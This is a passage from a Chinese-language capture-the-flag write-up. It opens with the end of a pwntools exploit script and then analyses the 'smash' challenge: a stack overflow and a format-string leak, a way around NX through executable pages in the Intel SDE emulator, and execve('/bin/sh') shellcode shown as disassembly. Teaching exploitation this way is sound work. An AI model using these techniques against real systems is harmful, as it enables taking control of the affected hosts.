# gdb.attach(p, 'brva 0x266e\nbrva 0x3371\nb free\nb malloc\nb system\nc\nc')
p.sendlineafter('Your input: ', '5')
success('libcbase = ' + hex(libcbase))
success('addr_system = ' + hex(addr_system))
p.interactive()
smash
查看保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
用 ghidra 查看源码
main 函数
void main(void)
{
char* pcVar1;
byte* pbVar2;
dprintf(1, "Input name > ");
pcVar1 = vuln(0x0, 0x20);
__dprintf_chk(1, 1, pcVar1);
dprintf(1, "\nOK? [y/n] ");
pbVar2 = vuln(0x0, 0x38);
if((*pbVar2 | 0x20) == 0x79){
dprintf(1, "\nInput message > ");
vuln(pbVar2, 0x38);
}
dprintf(1, "\nBye!\n");
return;
}
vuln 函数
char* vuln(char* param_1, long param_2)
{
ssize_t sVar1;
size_t __n;
char* pcVar2;
char local_38[44];
int local_c;
if(param_2 != 0){
sVar1 = read(0, local_38, param_2 - 1);
local_c = sVar1;
if(-1 < local_c){
local_38[local_c] = '\0';
if(param_1 != 0x0){
__n = malloc_usable_size(param_1);
pcVar2 = strncpy(param_1, local_38, __n);
return pcVar2;
}
pcVar2 = strdup(local_38);
return pcVar2;
}
}
return 0x0;
}
输入名称功能占用 0x20 字节的用户输入,然后执行 strdup,将我们的输入存储在堆中。
dprintf 在没有任何格式说明符的情况下,在我们的输入上调用 next,因此我们可能会通过格式字符串错误泄漏所需的地址。
之后,我们被要求输入 y 或 n,如果 y 被输入,程序将进一步询问另一个 input message,然后接受另一个 0x38 字节的输入。
如果 n 输入,程序将使用 dprintf 打印 Bye 并直接退出
CET 特性
开启 CET 的程序会在执行完 endbr64 指令后将后面的一段代码存入影子栈里
之后会在 SDE 里执行一堆指令,直到 popf 或者是 popfq,在执行完任意一个 popf 的指令后
SDE 里会将执行流跳转到影子栈中,去执行当前的 endbr64 及后面的代码
popfq 相对于 ./sde/intel64/pinbin 的基地址偏移为 0x349e9f
0x7fb75409ae96: mov rax, rbx
0x7fb75409ae99: push qword ptr [rax + 0xb0]
0x7fb75409ae9f: popfq
0x7fb75409aea0: mov rdi,QWORD PTR [rax]
0x7fb75409aea3: mov rsi,QWORD PTR [rax+0x8]
0x7fb75409aea7: mov rbp,QWORD PTR [rax+0x10]
0x7fb75409aeab: mov rsp,QWORD PTR [rax+0x18]
0x7fb75409aeaf: mov rbx,QWORD PTR [rax+0x20]
0x7fb75409aeb3: mov rdx,QWORD PTR [rax+0x28]
0x7fb75409aeb7: mov rcx,QWORD PTR [rax+0x30]
0x7fb75409aebb: mov r8,QWORD PTR [rax+0x40]
0x7fb75409aebf: mov r9,QWORD PTR [rax+0x48]
0x7fb75409aec3: mov r10,QWORD PTR [rax+0x50]
0x7fb75409aec7: mov r11,QWORD PTR [rax+0x58]
0x7fb75409aecb: mov r12,QWORD PTR [rax+0x60]
0x7fb75409aecf: mov r13,QWORD PTR [rax+0x68]
0x7fb75409aed3: mov r14,QWORD PTR [rax+0x70]
0x7fb75409aed7: mov r15,QWORD PTR [rax+0x78]
0x7fb75409aedb: jmp QWORD PTR [rax+0xb8]
当模拟器运行到 popf 时会返回程序内部函数,之后执行程序代码
该处代码位于 CET 申请的页里,个人觉得这个地方应该不能叫做影子栈
这块应该是 CET 内部的 间接分支检查 所申请的页
这段代码是我用于测试的 shellcode
0x7fb73fa427c0: and BYTE PTR [r14+0x2f51],0xf7
0x7fb73fa427c8: mov QWORD PTR [r15+0x40],rsp
0x7fb73fa427cc: lea rsp,[r15+0x34d0]
0x7fb73fa427d3: push QWORD PTR [r15+0xd8]
0x7fb73fa427da: popf
0x7fb73fa427db: mov rsp,QWORD PTR [r15+0x40]
=> 0x7fb73fa427df: xor rsi,rsi
0x7fb73fa427e2: push rsi
0x7fb73fa427e3: movabs rbx,0xff978cd091969dd1
0x7fb73fa427ed: neg rbx
0x7fb73fa427f0: push rbx
0x7fb73fa427f1: xor rdx,rdx
0x7fb73fa427f4: mov rdi,rsp
0x7fb73fa427f7: push 0x3b
0x7fb73fa427f9: pop rax
0x7fb73fa427fa: jmp 0x7fb73fa67b18
解题思路一
在 vuln 函数里有这样一段代码,local_38 到 rbp 的距离是 0x30
sVar1 = read(0, local_38, param_2 - 1);
但是 param_2 - 1 的值是 0x37,也就是说我们可以覆盖掉 rbp
因为正常来讲我们不能依靠 ROP 来获得权限,所以这里我们依靠 shellcode 来获得权限
程序开了 NX 保护,所以单独运行程序是不能利用 shellcode 提权的,但是这道题可以
因为这道题的程序是依靠 SDE 运行的,也就是说在 SDE 里会执行程序的代码
虽然程序靠开了 NX 保护,但是 SDE 模拟器中并没有开启这个保护
利用 vmmap 可以看到 SDE 模拟器中的影子栈和申请的页都是可执行的
那么利用 SDE 在执行完 popf 后执行程序代码的特性,写入 shellcode 就可以提权了
0x56317162226b call __dprintf_chk@plt
0x563171622270 lea rsi, [rip + 0xd9b]
0x563171622277 mov edi, 1
0x56317162227c mov eax, 0
0x563171622281 call dprintf@plt
0x563171622286 mov esi, 0x38
0x56317162228b mov edi, 0
0x563171622290 call vuln
0x563171622295 mov qword ptr [rbp - 8], rax
0x563171622299 mov rax, qword ptr [rbp - 8]
在执行完 vuln 函数后,我们已经依靠溢出操作更改了 rbp
且 rax 为 vuln 中 strdup 申请的堆地址
0x563171622295 mov qword ptr [rbp - 8], rax
0x563171622299 mov rax, qword ptr [rbp - 8]
这时利用这两步操作就可以把堆地址写入到 rbp - 8 的地址中了